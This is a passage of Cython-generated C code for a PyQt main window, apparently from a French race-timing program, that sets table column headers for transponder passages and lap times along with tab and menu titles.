(unlikely(!__pyx_t_4)) __PYX_ERR(0, 1087, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__684, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1087, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1088 * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__685, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1089 * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1089, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1089, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__686, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1089, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1090 * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__687, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1091 * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1091, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1091, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__688, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1091, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1092 * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__689, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1093 * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1093, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1093, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__690, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1093, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1094 * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__691, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1095 * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) # <<<<<<<<<<<<<< * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__692, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_3); __pyx_t_4 = 0; __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1096 * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) # <<<<<<<<<<<<<< * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setTitle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__693, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1097 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) # <<<<<<<<<<<<<< * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) */ __pyx_t_5 = 